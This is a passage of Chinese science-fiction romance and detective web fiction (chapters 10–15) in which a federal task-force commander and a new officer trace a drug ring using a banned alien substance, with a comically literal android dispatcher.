挺拔俊美的年轻alpha正站在悬浮屏旁边，仔细地查看电子眼录像，他全身心投入的神情很眼熟，就和那天晚上俯身在闻铮之上的时候一模一样。 在裴简珩感受到视线而抬眼望过来的前一秒，闻铮静静地移开了目光。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 10、第10章 你跟我走 十分钟后，闻铮从办公室里走出来，顺手把悬浮屏拉到手边：“来看一下。” 暗影组的人都停下了手里的动作，闻声看了过来。 闻铮操作了一下，把录像停在了某个瞬间，在酒吧的灯雾缭绕下，他们能看到在右边角落里有一桌人。 画面放大以后，能看到其中一个人是欧睿，他正在和桌旁坐着的另一个人说着什么，那个人穿的一身黑色西装，面容湮没在阴影里，看不到脸，只能通过身型看出来是个男人。 时间戳滚过两分钟，但丁出现在桌边，欧睿看起来很自来熟地也跟他打了个招呼，但丁没有理他，坐在了黑西装男人对面，看上去是他们有约在先，欧睿只是恰好遇见。 于是欧睿也就很知趣地离开，在吧台和那个艾尼默女孩搭讪上了。 林瑜淞皱眉：“但丁是去见这个黑西装男人的？” “看起来像，”戴维尔又看了一遍这一段视频，“他进了酒吧以后就只和这个人有过交流，确实没再和欧睿有什么沟通。” 江悦试了一下放大画面并降噪处理，摇头：“看不清。” 闻铮想了想，做出决断：“瑜淞和凯利斯追一下这个线索，等但丁的辩护律师来了以后再去问问这个黑色西装的男人是谁，虽然我觉得他并不会说。” “戴维尔去采集但丁的生物证据，看能否找到真实身份的匹配。江悦，你再看下他的社会关系有没有突破。” 分配了一圈，裴简珩都没有听到自己的安排，他看向闻铮，正好撞到他看向自己的目光。 闻铮对他抬了抬下巴：“你跟我走。” 他能看到这句话一说出去，裴简珩那双蓝汪汪的眼睛瞬间亮了，闻铮很怀疑如果他还在联邦突击队里，会立刻一边立正敬礼一边说遵命长官。 闻铮：“……” 要讨好上司到这种程度吗。 他们走到东3区分部门口，还没出去就听到了二重音在背后响起：“闻指挥官。” 闻铮转过身：“罗斯警长。” 罗斯警长把他类人的左脸转向了他们，对闻铮说：“我刚刚正准备给您致电，您有一个访客申请。” 闻铮：“谁？” 罗斯警长：“系议员，欧赫议员长。” 闻铮讨厌政治，也不习惯和死者的家属打交道，他知道自己一向不擅长安慰人。当这两者混合在一起的时候，哪怕已经喝了三杯咖啡，他还是感觉太阳穴隐隐作痛。 闻铮用词稍微委婉了一点：“我在忙着找杀了他儿子的人。” 罗斯警长点了点头：“收到。” 他对着通讯耳机那一头，用他平静无波的特有声线回复：“陈秘书久等，闻指挥官说他没空见欧赫议员长。” 闻铮：“……谢谢。” 你去重新训练一下语言理解和语言沟通技能吧。 裴简珩在旁边扑哧笑出声。 闻铮揉了揉眉心，对罗斯警长挥了挥手示意他们先走了，走出去五步还能听到背后罗斯警长的声音。 “不，闻指挥官确实没有时间——您为什么在生气？” 裴简珩摸了摸鼻子：“这里的调度人工智能还挺……特别的。” 他还特意斟酌了一下用词。 闻铮抬眼瞥他：“叫他罗斯警长。” 裴简珩立刻改口道歉：“抱歉，我没有不尊重罗斯警长的意思，我只是觉得他很……生动。” 闻铮闻言倒是停下了脚步，饶有兴趣地挑了挑眉：“生动？很多人都认为罗斯警长非常刻板，并没有被训练出人类的情感和反应，甚至认为他是调度人工智能的一件残次品，为此对把他分配来的联邦总部颇有微词。” 裴简珩反问：“只有像人类才是完美品吗？” 闻铮一怔。 裴简珩似乎犹豫了一下，还是说了下去：“曾经有人和我说过，人类不是这片宇宙的主宰，我们只是和其他物种、其他文明、其他生命一起分享这个世界。人类也许在目前的阶段里占据上风，但不代表我们有否认和毁灭其他文明的权力。” 闻铮那双幽深的漆黑眼瞳紧紧地盯着他，半晌才说：“……上车。” 毫无疑问，闻铮开车，他一定要是掌握方向盘的那一个。 裴简珩坐在副驾驶，闻铮不说话，他也很知趣地没有开口。 一阵沉默过后，闻铮先抛出了问题：“知道我要带你去哪里吗？” 裴简珩答：“‘夜虹’酒吧。” 闻铮：“为什么？” “但丁、欧睿、艾尼默女孩以及西装男人的交集都在’夜虹’酒吧里，目前这是唯一的线索。”裴简珩的声音温和又很有条理，“刚才您分配任务的时候，没有分配酒吧的线索，所以应该是带着我一起去的。” 闻铮微微点头：“你很聪明，但不够聪明。” 裴简珩笑：“为什么？” “你如果足够聪明，就不会来我这里。”闻铮一脚刹车，“到了，下车。” 裴简珩只是抿了抿唇，也没有说什么就下车了。 …… “夜虹”酒吧距离正式营业还有三个小时，omega老板正百无聊赖地靠在吧台后面擦杯子，尤其是白天被那个俊美的alpha发现有两只死虫子的调酒杯，更是被他闲得没事洗了三遍。 想起方才那个银发蓝眼的alpha，omega酒保还是心里痒痒，不是恨的，是馋的。 这么出众的一张脸，出众到根本不像是这个星球出身的，还有接近一米九的身高和有力的宽肩窄腰，光是看着他都要腿软了。 虽然态度称不上特别友善，但这种强势的气势反而让他更有魅力。 omega酒保锤了一下桌子。 天菜啊！怎么就是暗影组的人呢！ 他刚锤完桌子，酒吧的门又被打开了。 omega酒保又没好气地重复一模一样的台词：“没人大下午喝酒，我们晚上七点营业。” 今天第几次了！ “不喝酒，找你的。” 一个冷淡的声音传来，声线带着独特的沙哑感，omega酒保被这个声音激得浑身都起鸡皮疙瘩，立马站直了朝门口看去。 ——修长瘦削的男人站在门口，他正顶着一张极具侵略性的、摄人的艳丽面容，遥遥地看着他。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 11、第11章 我只喜欢他 酒吧老板的眼睛又噌地一下亮了。 今天是什么日子？ 这种极品alpha一个接一个地来？ 他站直了，立马勾起一个标准勾搭人模式的笑容：“特意来找我吗？” 闻铮对答如流：“当然。” 酒吧老板指了指他面前吧台的位置：“请坐，我请你喝一杯。” “……”他的动作顿了一下，“你不介意我先问一下吧，你是警方的人吗？” 闻铮微笑，右颊边的梨涡在他笑起来的时候很明显：“不完全是。” 酒吧老板：“是就是，不是就不是，什么叫不完全是。” 闻铮把暗影组的徽章拿出来放在桌子上。 酒吧老板：“……” 酒吧老板：“……” 酒吧老板：“……” 他愤愤地把已经拿出来的金酒又塞回了吧台下面：“别喝了！” 裴简珩在旁边忍笑。 酒吧老板才看到闻铮身后的他，恨恨地对他翻了个白眼：“电子眼录像都给你了，又来干嘛！我先说好，我作为良好星民，配合你们只是我的高尚品德，不是我的应尽义务，我最多回答你们三个问题！” 闻铮这次是真笑了，他觉得这个小老板还挺有意思的：“你叫什么名字？” 酒吧老板：“黎晓，这算一个问题了。” “我知道你们这个社区不信任政｜府、警方或军方，”闻铮道，“我也不会试图得到你们的信任，因为我无法承诺能给你们带来任何好的改革。” 黎晓抬起眼皮看了一眼他，哼哼：“你倒是挺诚实，什么时候你们能让这个街区不这么穷了再说。” 闻铮：“经济形势不归我管，我只管德瓦人。” 他能敏锐地感觉到黎晓态度的软化，很明显这个omega吃软不吃硬，而且对态度直接的人接受度比较高。 闻铮从手腕通讯上把电子眼录像拉出来推到黎晓眼前：“从这个开始？这几个人你都眼熟吗？” 黎晓抻脖子看了几眼，回想了一下：“这两个人只见过一两次，没什么印象。” 他指的是黑色西装男人和但丁。 “尤其是这个穿黑色西装的，每次来都带着一个黑色的覆面，”他翻了个白眼，“像谁稀得看他一样。” “这两个……” 黎晓皱了皱鼻子：“这个alpha经常来。” 闻铮敏锐地捕捉到他的情绪：“你不喜欢他？” 黎晓坦诚：“不喜欢。他每次来都是来猎艳的，油腻死了。一看就是那种家境很好的自大alpha。” “他为什么经常来你的酒吧？”裴简珩突然出声问，“别误会，我没有别的意思。你的酒吧挺好的，虽然消防和卫生都不合格。但你也说了他家境很好，他还有其他很多的选择，所以一定是你这里有什么很吸引他。” 裴简珩顿了一下，含笑道：“难道也是来找你么？” “放屁啊！”黎晓双手叉腰，“他又不喜欢omega！” 闻铮挑眉：“所以他喜欢alpha？” 他和裴简珩在一起套话，配合倒是很默契。 “他喜欢艾尼默人。”黎晓翻了个白眼，“而且有特定的类型，那种兔属的、猫属的相对温驯的艾尼默人他最喜欢。” “喏，就像这个。” 他点了点被欧睿抱在怀里的艾尼默女孩：“这个视频里有点看不清，但我这儿的兔属艾尼默女孩一共也没几个，她好像之前来过几次，我有点印象。” 黎晓仔细看了一下视频里的艾尼默女孩，心里嘀咕，感觉一两个礼拜没见，怎么还长个儿了呢，还是穿高跟鞋了。 闻铮：“你知道她的名字和信息吗？” 黎晓伸出三个手指：“已经四个问题了，送你们一个，再问我就要收费了。” 闻铮失笑。 还没等他说话，黎晓的通讯震动，一个机械音响起： “——您的账户到账50,000星币。” 黎晓：“……” 闻铮：“……” 裴简珩指了指自己的通讯，笑得很温和：“现在可以回答了吗？” 黎晓：“……你们这些政｜府的人现在都这么有钱？怪不得我们这里一直发展不起来，你们到底贪|污了多少钱？！” 闻铮：“……他今天刚入职，就算贪|污也不是在我手底下贪。” 拿了钱，黎晓倒是很配合：“名字我真的不知道，我只和她在吧台闲聊过几句，因为她是未成年人，所以我没有给她酒，只给了她一杯橙汁。” 闻铮抬头看到了吧台上方的一个电子眼，指了指：“你们聊天那晚的录像还有吗？” 5万星币的价格范围内很显然包括了录像带，他们拿到了以后刚准备离开，黎晓扭扭捏捏地说：“……我还是可以请你喝一杯的。” 闻铮转过身，清秀的omega正眼神飘忽地看着他，耳朵微红。 他笑了笑：“案子结束以后，有机会我会来找你的。” 目睹了全程的裴简珩：“……” 出了酒吧的门，裴简珩轻咳一声：“原来指挥官对omega感兴趣。” 闻铮开车门，挑眉：“我是alpha，对omega感兴趣不是很正常吗？” 他存了试探的心，立刻反问：“你不喜欢？” 裴简珩：“他很有意思，但不是我喜欢的类型。” 闻铮也没再说什么。 两人坐定，闻铮刚把车启动，副驾驶的裴简珩突然幽幽地说：“也没有什么喜欢的类型，我有一个暗恋了很久的人，虽然只相处了五天，但我只喜欢他。” 闻铮表情怪异地侧目：“……无须报备，我不关心下属的感情生活。” 裴简珩把脸转向了窗外，看上去情绪有些低落。 闻铮看着他在车窗上影影绰绰的侧脸倒影，在心里翻了个白眼。 有暗恋的人还在床上和我做得那么疯，你也不是什么好东西。 悬浮车里陷入沉默，这时，车上连接的无线通讯滴滴响了：“闻指挥官，请求接入。” 闻铮伸手接通：“允许接入，请讲。” 通讯另一方换成了罗斯警长的二重音：“闻指挥官，鉴证组的报告出来了，何首席申请预约您明天上午十点一个小时的会议时间，是否需要我回复何首席您没空见他？” 闻铮：“……谢谢，不必了，我有空。何首席亲自来？怎么了？” 罗斯警长：“收到。从鉴证组报告中可以看到，您送去检验的这批非法致幻剂和半成品原料中检测出了b-356物质。” 闻铮一个急刹。 裴简珩受到重力作用差点撞到前玻璃，但他非常理解为什么闻铮会这么大反应。 b-356物质…… 这是德瓦星独有的物质，在五十年前被列为联邦s级违禁药物成分。 怎么会出现在这里？ “但丁”这事真的和德瓦人有关？魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 12、第12章 谢谢您送我回来 凯利斯从审讯室出来，如闻铮所料，但丁对一切都闭口不谈，把一切都交给了他那个不请自来的beta律师。 他一边把自己的金发烦躁地拢到脑后，一边和林瑜淞吐槽：“闻哥说的一点都没错，这人一个屁都放不出来。” 林瑜淞也回到工位上，若有所思：“我倒是很好奇，这人混迹在旧城区的街头帮派里，怎么雇得起这么贵的辩护律师？” 凯利斯倒是不以为意：“倒腾致幻剂捞的钱吧。” 林瑜淞：“你记不记得刚才闻哥说的，他的价格压得很低，几乎没有利润？” 凯利斯一怔。 林瑜淞确实是他们之中心思最细腻的一个，逻辑能力也最强，堪称暗影组大脑一般的存在，这也是当初闻铮会把他从监狱里捞出来塞进组里的原因。 外表斯文俊秀，还带着金丝边框眼镜，根本不像警官，反而像个搞金融的白领高管。 “如果他真的是但丁，没有学历，没有背景，过去十年都在瑞克斯监狱蹲着，我了解那个地方，”林瑜淞淡淡道，“那里没有什么可以挣钱的门路。出狱以后的五年里但丁也还在街头混迹，凭他自己不可能雇得起像克林顿这样的金牌律师。” “如果他不是但丁，他现在名下的财产也少得可怜，更加不可能雇得起克林顿。” 凯利斯反应很快：“你的意思是，他背后的人帮他找了律师？他怎么知道他被抓了，而且是被我们抓了？” “……等一下。” 林瑜淞看他皱起了眉，似乎在思考什么，问：“在想什么？” “……我说不好，有可能没什么关系，但……” 凯利斯犹豫了一下，还是说了：“欧睿有过一次被抹去的案底，一级故意伤害罪，这项案底今天凌晨又被人在系统里恢复了。” “恢复？” 林瑜淞挑眉：“抹去不奇怪，恢复才奇怪。你怀疑这个人和但丁背后的人是同一个？” 凯利斯：“我不能确定，只是一个隐隐约约的猜想。” 毕竟能知道但丁被抓，而且是被暗影组抓的人，很显然也得是内部的人。 如果监控录像里没有发现欧睿和但丁的关系，他也不会把这两条线搭上，但这样放在一起一想，又有些扑朔迷离的关系。 “你俩叽里咕噜什么呢？” 江悦从楼下拿外卖上来，一眼就看到了在走廊里聚一堆的两位帅哥同事，顺口问了一句。 凯利斯张了张嘴，还没来得及给他解释，身后审讯室的门就被一把打开，但丁的那位金牌律师克林顿伸出了一颗脑袋：“不好意思，能否麻烦你们给我当事人拿两瓶水或者饮料？拘留超过四个小时了，我当事人还滴水未进，我要投诉你们非法审讯了。” 凯利斯背对着克林顿翻了个大大的白眼，转过去的时候脸上又挂上了标准的假笑：“律师，您这是说的什么话。” 江悦也很无语，从自己的外卖袋子里掏出一罐气泡饮料隔空扔给克林顿，看他手忙脚乱地接住后，促狭道：“不够喝您吭声哈。” 克林顿拿着气泡饮料缩回头去，怕他们听到他和但丁的谈话，还没忘记把门关上。 江悦嘟囔：“真把我们这儿当酒店了。” “行了行了，”林瑜淞胡噜了一把她的头发，“我俩是酒店保安，你是酒店前台行不行？今天先下班吧，我看这个时间闻哥应该也不会回来了。” 江悦是三个月前才被闻哥从凶杀重案组硬抢过来的，在组里面年纪也最年轻，大家都把她当妹妹。 江悦：“那可不一定，闻哥可是工作狂，有几次我东西落在办公室回来拿，闻哥还在，那可是半夜两点！！” “他今天肯定不回来了。”凯利斯晃了晃手腕上的通讯，“他给我发消息了，让我们早点下班，明天继续。” 江悦欢呼一声，立刻打开通讯工具：“我这就告诉戴维尔，让他从鉴证组直接下班算了！” 林瑜淞没再管她，低声问凯利斯：“但丁怎么办？” “在这儿关着吧，”凯利斯没当回事，“我走之前和罗斯警长打声招呼，派个执法巡逻队的后勤注意点电子眼动向就行了。都这个点，中央拘留所也不收人了。” 他一边说一边伸懒腰往外走：“下班下班——” 德瓦人这些破事一直都没完没了的，总这么熬谁能扛得住，又不是人人都是闻哥。 而工作狂闻哥此刻正一脚刹车把悬浮车停在了南1区的一栋别墅门口，按下了车门解锁键：“到了。” “谢谢您送我回来。” 裴简珩对他弯了弯那双湛蓝色的眼睛：“希望我家离您家不会太远，不至于太麻烦您。” “顺路的事。”闻铮淡淡道，“明天我十点和何首席开会，你们都可以晚点到。” “收到。”裴简珩已经打开门下去了，闻言在车外撑着车门俯下身来，含笑，“……您比我想象中要更温和一些。” 还以为会是那种只能早到不能早走的卷王领导风格。 闻铮对他伸出了一根手指：“一个月。” 裴简珩：“……您回去早点休息，晚安。” 闻铮看着裴简珩走进别墅大门，确认了他的实际住址和系统里的一样后，就将车开走了。 在银色的悬浮车开走以后，别墅的大门再次被打开。 …… 夜空下的政府总部闪耀着冷冷的银灰色光芒，这里1-3楼是全天开放的，现在已经是晚上十点，没什么人再进出了。 闻铮走进警部大堂，在联邦象征的钢铁悬浮头颅面前伫立了一会儿，他看着双眼紧闭双耳堵住的头颅，漆黑的眼睛里是平时几不可见的茫然。 听不见各执己见的声音，看不到各有所求的欲望，就能保证绝对的公平和正义了吗？ 他绕过了钢铁头颅，在总部大堂的东南角，有一堵挂满了照片的墙。墙上的每一张照片的主人都穿着墨黑色的联邦制服，或年轻或苍老的永远留在了这一刻。 闻铮注视着上数第五排的方向，那里有两张并列在一起的照片。左边是是浓眉大眼的飒爽女人，右边是气宇轩昂的俊朗男人，性别虽有不同，但眉宇间的正气和决然如出一辙。 他仰头看着那两张照片，眼睛一眨也不眨。 半小时后，闻铮开车离开。 又十分钟，银发蓝眼的高大alpha走进了总部大堂，转了一圈后，在烈士墙前停下了脚步。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 13、第13章 你误会了 “不，我不会下达这个命令！他们只是被控制的——” “他们的背后呢？他们的背后是什么？……上将，我们正处在战争之中，而心软的人无法获得这场胜利！” “你可以不认可联邦的军令政策，但我要提醒你，一旦我们战败，你的同胞都会沦为殖民奴隶，就像现在你面对的这些被控制的人一样！” “如果你有其他的方案，我洗耳恭听。” “如果没有，请你服从联邦星舰军部的命令，上将。” 光子鱼雷在漆黑的宇宙中划出银色的闪光，随之而来的爆炸、火光、哀嚎和毁灭淹没了所有画面，在黑暗铺面而来的前一秒，是一双双懵懂又惊惧的眼神。 闻铮猛地睁开了眼睛。 床头的电子钟表翻过一页，落在了2:31分。 掀开被子，他站起来一把拉开窗帘，窗外是如墨的夜色，散落着零零星星的灯光，47楼算是7号星比较高的楼层了，可以俯瞰大半个星球。 闻铮让γ给他倒了一杯加了冰的威士忌，套上睡袍席地坐到了书桌旁。睡眠问题确实缠着他，被挖除的腺体和无法言说的经历在生理和心理层面都催化了失眠的程度。 他按按太阳穴，打开了通讯终端，下意识地想打开星舰军部的内网，看到了红色的无权限提醒后才反应过来，他已经不再是星际舰队的一员了。 三年的时间过去，他早已经习惯了这个事实，但可能因为这个梦，他在一时半刻之间还以为处在战争之中。 喝了一口威士忌，辛辣刺激的口感让他清醒过来，他转而点进了警部内网系统，输入了b-356物质。 这次跳出来的不是无权限提醒，而是权限不够的提醒。 闻铮：“……” 他放弃了，决定干脆明天上午直接问何首席。 但现在也睡不着，他站起身换了一身运动服，打算去河边晨跑。 …… 夜风微凉，闻铮穿了一件薄薄的外套，沿着蓟梨河边慢跑。 蓟梨河是横跨了7号星南北方向的一条主河，闻铮有的时候睡不着觉就来跑一段，感觉累了再回去冲个澡小小睡一会儿。 跑了二十多分钟，他来到了蓟梨河的一座天桥上，不经意地往下一看，闻铮瞥到在一个桥洞里，有两个身影正在鬼鬼祟祟地做着什么。 闻铮走到栏杆边离近了去看，其中一个人给了另一个人一大袋东西，换来了一笔星币现金。 ……非法致幻剂交易？ 他皱眉，如果按照目前的市价来说，这么一大袋的致幻剂不可能只有这一点现金，起码也要一个行李箱。 但如果不是这种非法的东西，又何必在凌晨四点偷偷摸摸地交易？ 另一个人拿到东西，四处望了望，快走几步钻进了一辆没有车牌号的地面车，扬长而去。 闻铮盯着给出东西的男人，他走出了阴影，闻铮能看到他身上的艾尼默特征，他沿着河边走了一会儿，闻铮也在桥上一直跟着他，看到他在河边花丛里蹲着不知道翻什么。 他有点看不清，靠在桥边栏杆的上半身微微探出去看，还没等看清楚，就感觉腰上突然一紧，随后被用力地朝后拉去！ 闻铮皱眉，右肘立刻用力朝后肘击，在一声闷响后，腰上的力气也没有丝毫松懈，还一边往后拉一边喊：“别跳！” 闻铮：“……” 他没有再动手，只是很无语地说：“你误会了，我没有要跳河自｜杀。” 听声音，来人是个年轻少年，急急反驳：“你骗人！你大半个身体都探出去了！” 闻铮：“……你先松开我。” 少年：“你先发誓你不跳河！” 闻铮：“……我发誓。” 少年将信将疑地松开了手，闻铮转过身来，果然是一个面容清秀的小男孩，右眼角下有一块小小的疤痕，正一脸紧张地看着他。 闻铮感到有点好笑：“我只是来跑步，哪儿有跳河还特意穿一身运动服的。” 少年神色一黯：“你永远也想不到，下定决心要离开的人会在什么时间、用何种方式离开。” 闻铮心下轻轻一动。 他看着眼前瘦弱的少年，从他穿着过于紧身和暴露的衣服能判断出他应该是混迹于下一个街区的，那边是有名的小红灯区。 闻铮轻声问：“你叫什么名字？我送你回家吧。” 少年摇了摇头，还是有点警惕心的：“不用了，你珍视生命就好了。” 闻铮：“……” 都说了没有想要跳河…… 少年没有说自己的名字，只是说了再见就转身离开了。 闻铮看着他的背影，总感觉他的脸和身型有点说不上来的眼熟，但又想不起来是在哪里见过。 他把目光又投向桥下那个花丛的角落，刚刚那个艾尼默人已经不见了踪影。 十分钟后，闻铮从桥上下来，走到了方才看到的那个花丛里，刚刚离得太远，现在能看清了。 通身淡绿色，草头上有三瓣蓝的花瓣包围着白色的花蕊。 ——是蓟梨草。 一丛一丛的蓟梨草。 闻铮伸手掐断了一朵蓟梨草收进了兜里，神色凝重。 有人在私下里收集大量的蓟梨草？ 这种普普通通的草，到底是谁要？目的又是什么？和那一批检测出b-356的致幻剂又有什么关系？ …… 罗斯警长一直是每天最早到警部的人，除了有的时候睡在办公室的闻铮以外。 是的没错，现在人工智能仿生人也有正常的上下班时间和休息日了，罗斯的家就在警部旁边走路十分钟。 今天也是一样，罗斯警长到的很早，他刚进入调度前台桌子后十分钟，闻铮就推开门走了进来。 “早上好，闻指挥官。” “你也早上好，罗斯警长。” 闻铮回家洗了个澡换了衣服就来了，眉宇间还有淡淡的疲倦。 罗斯警长从桌子下面掏出一杯咖啡：“需要咖啡吗？” “……谢谢。”闻铮犹豫了一秒，还是接了过来，打趣道，“你也需要喝咖啡提神吗？” “当然不。”罗斯警长微笑，“我只需要点击我的重置按键。” 闻铮打了个哈欠：“真希望我也可以有这个按键。” 罗斯警长：“仿生人转化成人类的技术正在机密研究中，人类转化成仿生人的技术提案因为涉及到伦理问题，目前无法被通过。” 闻铮失笑：“我知道，我只是在开玩笑。” 罗斯警长那双银灰色的眼睛注视着他，显然没有理解这个玩笑的内容，但这不妨碍他很喜欢这个对他一直很好的指挥官，他喜欢看到闻铮笑起来的样子。 闲聊结束，闻铮抬腿准备上楼：“何首席还有一个小时才来，我先上去了，他来的时候麻烦你通知我？” “好的，但是你们部门已经有人到了。” 闻铮顿住：“这么早？谁？” 罗斯警长说：“新来第二天的裴简珩中校。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 14、第14章 只有一个月的时间 裴简珩确实到得很早，他没有卷组里其他成员的意思，他只是突然想到一个问题，所以早点来确定。 通讯悬浮屏上显示了b-356的一些基础信息，他伸手把屏幕拉近了去阅读，能看得出来这个物质确实是联邦的高级机密，哪怕联邦军部没有把他的权限收回，他能看到的信息也非常有限。 他并不是要查b-356的详细化学信息，他知道鉴证组的首席肯定比他更加专业权威，他要查的是当年一场战役中的记录，他怎么依稀记得曾经看到过这个东西。 星际军部数据库的系统在转圈加载中，裴简珩抬头看了一眼空无一人的办公室，距离闻铮和何首席的会议还有一个小时，没有人会这个时候来。 他选择在这里用公共ip接入军部系统，也是因为并不想暴露自己的ip地址，虽然他和星际舰队因为种种原因没有闹得很难看，但是因为闻铮在这里，他也不想暴露太多。 毕竟闻铮当年……是真的闹得相当难看，难看到曾经的“第三军团之刃”和星际舰队高层互相连演都不演了，一个把军部的脸踩在脚下，另一个全联邦星系封杀，连星际暗网上的一点点影像资料都要毁灭殆尽。 在裴简珩出神的时候，星际军部数据库的内容已经显现了。 “‘利刃计划’中截获……” 裴简珩喃喃，神色一冷。 “你来这么早做什么？” 沙哑的声音传来，是闻铮独特的声线。 裴简珩手指微动，立刻退出了星际军部数据库，回到了监控录像窗口。 他抬头对走上楼梯的闻铮笑眯眯打招呼：“早啊指挥官！” 闻铮：“我记得我昨天晚上和你说过今天可以晚点来。” 所有人昨天都连轴转了一天，闻铮虽然不喜欢这个空降的不确定因素，但也不会在这种事情上特殊对待，这种压榨和为难，他不屑于做。 “睡不着。”裴简珩答，“一想到只有一个月的时间证明自己才能转正留下来，我就焦虑得睡不着。” 闻铮：“……” 他很明显能看出来裴简珩在开玩笑，他看上去根本不会是因为这种事情焦虑的人。 闻铮小小地翻了个白眼，懒得理他。 裴简珩失笑。 闻铮那个白眼虽然很小很快，但还是被他捕捉到了，心里顿时有一种被细小的针击中的感觉。 在此前只能远距离的注视中，他从未感受过闻铮如此生动的一面，哪怕只是一个小小的动作，都足以让他心里泛起涟漪。 他收回视线，打开星际军部数据库，又研究了一会儿b-356此前的情况。 半小时后，看时间快到了，裴简珩不想让其他人被自己卷到，关掉悬浮窗口下楼去买咖啡。 十分钟后，闻铮办公室的门被敲响，是鉴证组的何首席如约前来。 闻铮示意他进来，和他一起坐到了会客的小沙发上。 何首席全名何书远，听起来文质彬彬，这个职位也听起来文质彬彬且高智感十足，但何首席本人其实是个身高两米的络腮胡雄壮大汉。 闻铮第一次见到他的时候本来是去鉴证组吵架的，看到何首席的第一眼就被震住了，这种落差感让他一瞬间差点忘记要吵什么。 beta能长到这个体格，闻铮甚至怀疑何首席是不是违背联邦最高宪法进行了什么基因改造。 何首席对闻铮微笑，举起了手中的纸袋：“闻指挥官，我给你带了咖啡，但我注意到你已经在喝了。” 除去粗犷的外貌不谈，何首席的性格和他的名字倒是很匹配，比较温吞书卷气，也很细心，非常适合这份工作。 闻铮把手里那杯咖啡“嗖——”地扔进垃圾桶：“谢谢，咖啡对我来说永远不嫌多。罗斯警长泡的咖啡在这里很出名，下次有机会你一定要试试。” 何首席笑：“真的吗？我觉得按照罗斯警长的智能程度，肯定泡得比我家的人工智能家政管家好喝得多。” 闻铮摸了摸鼻尖：“真的，很特别。” 寒暄结束后，何首席切入正题：“昨天你缴获回来的那批非法致幻剂的半成品，我们做了试验，里面发现了b-356物质。” 闻铮也正色起来：“b-356是德瓦星独有的三级提取物，联邦星系从未发现过b-356，它的原生物也无法在联邦星系的环境中生存。它在这里出现，必定是德瓦人带来的。” 何首席有些惊讶：“闻指挥官这么了解？” 他感觉自己说的话似乎有质疑的意思，立刻解释道：“我没别的意思，只是b-356确实是联邦比较机密的违禁物质，所以很少有人知道并了解它。” “此前机缘巧合遇到过，但也就知道到这个地步了。”闻铮道，“其他的还请何首席帮忙解释一下。” 何首席说：“b-356的具体效果其实至今没有一个全面的定论，目前最被广泛认可的效果是强烈致幻，并且会作用于中枢神经，只需要一点就可以对人类造成不可逆的重大伤害，这种死因在解剖的时候会非常易于识别。” 闻铮微微皱眉，短短的半分钟时间里，他想到了两个关键问题。 “对人类造成不可逆的伤害……那其他物种呢？德瓦人、艾尼默人、艾尔文人或是其他细分种族？” “德瓦人的身体构造使得他们对于b-356免疫，”何首席答，“其他种族的影响不得而知，目前没有接到其他种族的临床试验数据。” 闻铮没有再纠结这个问题，何书远虽然是鉴证组首席，但7号星太偏远也太无足轻重了，很多联邦军部权力高层的决断和事实他根本碰不到。很有可能b-356对其他种族的影响试验已经在私下里做完了，但出于某种原因，军方并没有选择披露。 “还有一个问题。” 闻铮指尖轻点桌面：“如果这批非法致幻剂里添加了b-356物质，为什么服用了这批致幻剂致死的人，死因却并无什么特别之处？” “……我不知道。” 何首席挫败地摇头：“成品中甚至无法检测出b-356，如果不是你找到了半成品，我们根本发现不了。” “但实际上，”他显然也很不解，“这些半成品按照批次，会发现b-356物质添加的含量、加工的工艺、纯度各不相同，就像——” “就像在做实验。” 闻铮接过话头，他神色一沉，显然猜到了这个令人作呕的事实：“……有人在用7号星上的人类做实验。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 15、第15章 打个赌？ 闻铮沉吟了一下，问：“何首席，你们有查出来这批货里面加入蓟梨草的作用是什么吗？” 何首席摇头：“实在是不好意思，蓟梨草在此前从未被列入到药物成分，我们光是研究它本身的作用就已经用了好几种试验方式了，目前除了清热下火，还没有得出其他有用的结论。” 清热下火？ 闻铮想到了凌晨还在私下交易蓟梨草的两个人，只觉得此事断然没有这么简单。 “闻指挥官放心，”何首席道，“我们会一直尝试其他方式的，毕竟b-356的出现不是小事，虽然不知道背后有什么盘算，但这种将7号星用做实验的事情不能再继续了！” 闻铮拍了拍他的肩：“查清楚背后的阴谋就是我们暗影组的事了，针对b-356和蓟梨草的后续跟进还要麻烦何首席。” 何首席摆手。 闻铮见事情也聊完，示意了一下：“我送你出去？” …… “恭喜你，已经发现了距离这里周围五公里之内最好喝的咖啡店。” 凯利斯还在工位上打着哈欠，看到裴简珩从楼下拿着一杯咖啡上来，赞同地点了点头。 “随便选的，看来我还撞到大运了。”裴简珩把另一只手拎着的袋子提起来，“你们应该都没买咖啡吧？” “大恩大德！” 江悦也没客气，拿了一杯咖啡并诚挚地道谢，小鹿一样的眼睛湿漉漉的。 凯利斯一边喝咖啡一边心里感叹。 有钱就是好啊，这咖啡价格是普通咖啡店的六倍，他一个月最多奢侈喝一次。 很显然，他的同事也是这么想的。 林瑜淞对他小声说：“裴简珩能在这里待多久？我觉得他来了以后我们部门的办公待遇有了显著提高。” 凯利斯：“一杯咖啡而已，怎么就显著提高了？” 林瑜淞指了指茶水间：“你没看到里面多出来一个崭新的咖啡机？” 凯利斯：“……” 他搭着林瑜淞的肩膀去看了一眼，沉默。 嘎嘎新的咖啡机，油光锃亮，旁边还摆着一看包装就不便宜的咖啡豆。 林瑜淞：“别说这是总部批下来的费用，我不信。” 凯利斯啧啧：“欧睿的凶手还没找到，我们下个季度还有没有费用都不一定，怎么可能是公费。” 两个人的视线聚集到正把咖啡递给戴维尔的银发alpha身上，不知道他说了什么，一向阴着个脸不爱说话的戴维尔对他都还算和颜悦色的。 “不过闻哥看起来不太喜欢他。” 凯利斯一怔：“……你怎么知道的？” “品出来的。”林瑜淞一笑，“闻哥对他有所防备，这很正常，大家都对空降的关系户有所防备。但我总感觉闻哥对他的态度很……奇怪。” 凯利斯：“哪里奇怪？” 林瑜淞道：“说不好，大部份还是我的直觉。” “……” 凯利斯无语：“你又来直觉这一套。” 虽然林瑜淞的直觉很准，但也不能什么都拿直觉故弄玄虚吧！ “打个赌？”林瑜淞挑眉，“就赌他能不能在这里转正。” 凯利斯翻了个白眼：“你输定了。” 闻铮可是亲口跟他说过，他会让裴简珩在三个月内从这里消失，他说过的话还没有不兑现的时候。 他搭档倒是高深莫测地笑起来：“那我就赌，他会在这里待很长时间吧。” 